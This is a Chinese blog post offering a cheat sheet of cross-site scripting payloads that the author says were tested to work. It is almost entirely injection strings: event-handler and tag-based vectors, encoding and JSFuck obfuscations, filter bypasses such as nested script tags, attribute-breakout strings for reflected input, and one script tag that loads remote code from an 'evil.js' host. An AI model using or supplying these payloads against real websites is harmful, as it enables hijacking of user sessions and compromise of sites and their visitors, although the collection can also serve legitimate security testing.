日期:2019-05-15 14:06:21
作者:Bay0net
介绍:收集并且可用的一些 XSS payload,网上的速查表很多,但是测试了下很多 payload 的不可用,这里都是自己能用的


0x01、 基本流程

先使用无害的标签进行测试,比如<b>、<i>、<u>等,然后在测试是否过滤了 '、"、<>

0x02、可用的 payload

日常使用

<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm(1);</script>
<scRipT>alert(999999)</ScriPt>
<script src="http://xss.com/evil.js">
<script src=data:text/javascript,alert(1)></script>
<script>alert(String.fromCharCode(49,49))</script>
<script>setTimeout(alert(1),0)</script>

编码相关

unicode

<script>\u0061\u006C\u0065\u0072\u0074(1)</script>

base64

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+">

html 实体

<script src=&#100&#97&#116&#97:text/javascript,alert(1)></script>
<a href= 'javascript:alert('123') '>Hello</a>
<a href= "javascript:alert( '123' )">Hello</a >
<a href= "javascript:alert( '123' )">Hello</a >
<a href= "j&#97vascript:alert&#0000040'123' &#41">Hello</a >
<input onfocus="&#97&#108&#101&#114&#116&#40&#39&#49&#39&#41" autofocus/>

eval 函数

<a  href="javascript:eval('a\x6c\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
<a href="javascript:eval('a\u006C\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
<a href="javascript:eval('a\154\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>

SRC 属性

<img src=x  onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);>
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);> <img src="#" onclick="javascript:alert('img:onclick')" onerror="javascript:alert('img:onerror')" onload="javascript:alert('img:onload')">
<video src="#" onclick="javascript:alert('video:onclick')" onerror="javascript:alert('video:onerror')" onload="javascript:alert('video:onload')"></video>
<audio src="#" onclick="javascript:alert('audio:onclick')" onerror="javascript:alert('audio:onerror')" onload="javascript:alert('audio:onload')"></audio> img、video、audio 标签
onclick: 点击触发
onerror: 当 src 加载不出来时触发
onload: 当 src 加载完毕触发

iframe

<iframe src="javascript:alert(2)">
<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<iframe/onload=alert(document.domain)></iframe>
<IFRAME SRC="javascript:alert(29);"></IFRAME>

过滤相关

过滤空格和括号
<svg><script>alert&#40/1/&#41</script>
( is html encoded to &#40
) is html encoded to &#41 过滤括号
<input onfocus="alert`1`" autofocus/> 过滤了<script>的话
<scr<script>ipt>alert(1)</scr<script>ipt>;

其他标签

embed
<embed/src=//www.baidu.com> form
<form action="Javascript:alert(1)"><input type=submit value="click me">
<form><button formaction=javascript&colon;alert(1)>CLICKME
<form/action=javascript:alert(22)><input/type=submit>
<form onsubmit=alert(23)><button>M object
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object> anytag
<anytag onmouseover=alert(15)>M
<anytag onclick=alert(16)>click a 标签
<a href="http://www.google.com">Clickme</a>
<a href="javascript:alert(1)">Clickme</a>
<a onmouseover=alert(17)>1
<a href=javascript:alert(19)>123 button 标签
<button/onclick=alert(20)> input 标签
<input onfocus=alert(33) autofocus>
<input onblur=alert(34) autofocus><input autofocus> body
<body/onhashchange=alert(1)><a href=#>clickit
<body/onload=alert(25)>
<body onload=prompt(1);> svg 标签
<svg/onload=prompt(1);>

事件处理

可用的事件

onResume
onReverse
onSeek
onSynchRestored
onURLFlip
onRepeat
onPause
onstop
onmouseover

具体的 payload

<body onload=prompt(1);>
<body onload= "javascript:alert('body')"></body>
<svg onload=" javascript:alert('svg')"></svg >
<a onmouseover= "javascript:alert('a_onmouseover')">12</ a>
<select autofocus onfocus=alert(1)>
<select autofocus onfocus="javascript:alert('select' )"></select>
<textarea autofocus onfocus=alert(1)>
<textarea autofocus onfocus="javascript:alert('textarea' )"></textarea>
<keygen autofocus onfocus=alert(1)>
<keygen autofocus onfocus="javascript:alert('keygen' )"></keygen>
<video><source onerror="javascript:alert(1)">
<audio><source onerror="javascript:alert('source')"></ audio> meta
<meta http-equiv="refresh" content="0;url=//baidu.com">

JSFuck

<img src=x onerror=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()>

0x03、特定情况

基于反射

代码:<input value="XSStest" type=text>
其中的 XSStest,可以使用以下 payload

" onmouseover=alert(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="

服务器过滤说明

一般都过滤成这个样子

小于号这样写:&lt; 或 <
大于号这样写:&gt; 或 >

0x04、XSSgame

XSS Game

【命令汇总】XSS payload 速查表的更多相关文章

  1. Git 命令速查表

    Git 命令速查表 1.常用的Git命令 命令 简要说明 git add 添加至暂存区 git add-interactive 交互式添加 git apply 应用补丁 git am 应用邮件格式补丁 ...

  2. Git 常用命令速查表(图文+表格)

    一. Git 常用命令速查 git branch 查看本地所有分支git status 查看当前状态 git commit 提交 git branch -a 查看所有的分支git branch -r ...

  3. Git命令速查表【转】

    本文转载自:http://www.cnblogs.com/kenshinobiy/p/4543976.html 一. Git 常用命令速查 git branch 查看本地所有分支git status ...

  4. Git 常用命令速查表(图文+表格)【转】

    转自:http://www.jb51.net/article/55442.htm 一. Git 常用命令速查 git branch 查看本地所有分支git status 查看当前状态 git comm ...

  5. 简明 Git 命令速查表(中文版)

    原文引用地址:https://github.com/flyhigher139/Git-Cheat-Sheet/blob/master/Git%20Cheat%20Sheet-Zh.md在Github上 ...

  6. OpenStack 命令行速查表

    OpenStack 命令行速查表   updated: 2017-07-18 08:53 Contents 认证 (keystone) 镜像(glance) 计算 (nova) 实例的暂停.挂起.停止 ...

  7. GNU Emacs命令速查表

    GNU Emacs命令速查表 第一章  Emacs的基本概念 表1-1:Emacs编辑器的主模式 模式 功能 基本模式(fundamental mode) 默认模式,无特殊行为 文本模式(text m ...

  8. MongoDB 命令速查表

    MongoDB  是一个面向文档可扩展的高性能开源数据库,典型的应用场景有网页数据,缓存,代替文档存储等. 命令的记忆和使用是一门基本功,这里准备了速查表,可以做案头手册. 库操作 切换或使用数据库 ...

  9. VIM 命令速查表

    今天整理一份 VIM 常用命令速查表,当做给自己备忘. 进入VIM 相关 命令 描述 vim filename 打开或者新建文件 vim +n filename 打开文件并将光标置于第n行行首 vim ...

随机推荐

  1. SpringCloud系列(一):Eureka 服务注册与服务发现

    上一篇,我们介绍了服务注册中心,光有服务注册中心没有用,我们得发服务注册上去,得从它那边获取服务.下面我们注册一个服务到服务注册中心上去. 我们创建一个 hello-service 的 spring ...

  2. Jmeter分布式测试dubbo接口1

    最近工作中接到一个需求,需要对一个Dubbo接口进行压力测试,测试其性能,之前一直使用jmeter做压力测试,在踏了好多坑之后,决定把这些记录下来,顺便也希望能帮助到大家. 开始测试之前,我们需要先知 ...

  3. source insight支持查看makefile、kconfig以及.s代码方法

    在用sourceinsight查看linux内核源码的时候,大家会发现不能查看源码中的makefile和kconfig代码,即不能搜索到makefile和kconfig文件.这是因为source in ...

  4. 2018微信小程序官方示例源码最新版

    忘记从哪获得的 CSDN  可以支持一下 谢谢你们 https://download.csdn.net/download/lan1128/10197682 当然也有免费的 代码在码云上免费公开 点个关 ...

  5. MySQL 创建唯一索引忽略对已经重复数据的检查

    MySQL 创建唯一索引忽略对已经重复数据的检查 在创建唯一索引的基础上加上关键字"IGNORE "即可.(注意,经测试,在5.7版本已经不再支持该参数) # 重复数据 mysql ...

  6. 对GraphQL-BFF:微服务背景下的前后端数据交互方案的研究-------引用

    随着多终端.多平台.多业务形态.多技术选型等各方面的发展,前后端的数据交互,日益复杂. 同一份数据,可能以多种不同的形态和结构,在多种场景下被消费. 在理想情况下,这些复杂性可以全部由后端承担.前端只 ...

  7. Winserver-禁止程序启动

    注册表限制程序启动 经测试,可以阻止手动启动,但在job中还是会有启动的进程,这个待确定. run→regedit 添加程序只写exe名就行 手动不能运行了

  8. NOIP游(GUNCU)记

    小学奥数不会做 状压DP打不出 一脸懵逼 本来抱着一个拿省一的心态去考的,结果DAY1刚开始就爆炸了. T1居然想了半个小时多没思路,然后打了个表,可能是应为太紧张了吧,居然打了表之后还没有看出规律来 ...

  9. Pycharm,出现Invalid VCS root mapping The directory 解决方法

    Pycharm File 中setting-------version control  中VCS选择none  后选择ok 执行完以上的步骤,还错误就会消失.

  10. go语言系列--前言

    我为什么要学golang语言 绝不是一时兴起,也不是人云亦云,这是我规划了很久的事了. 我曾自学过C语言,C++语言,Python语言,可都学的不精,原因我想是不知道为了什么而学的,可是这就是缺少学习 ...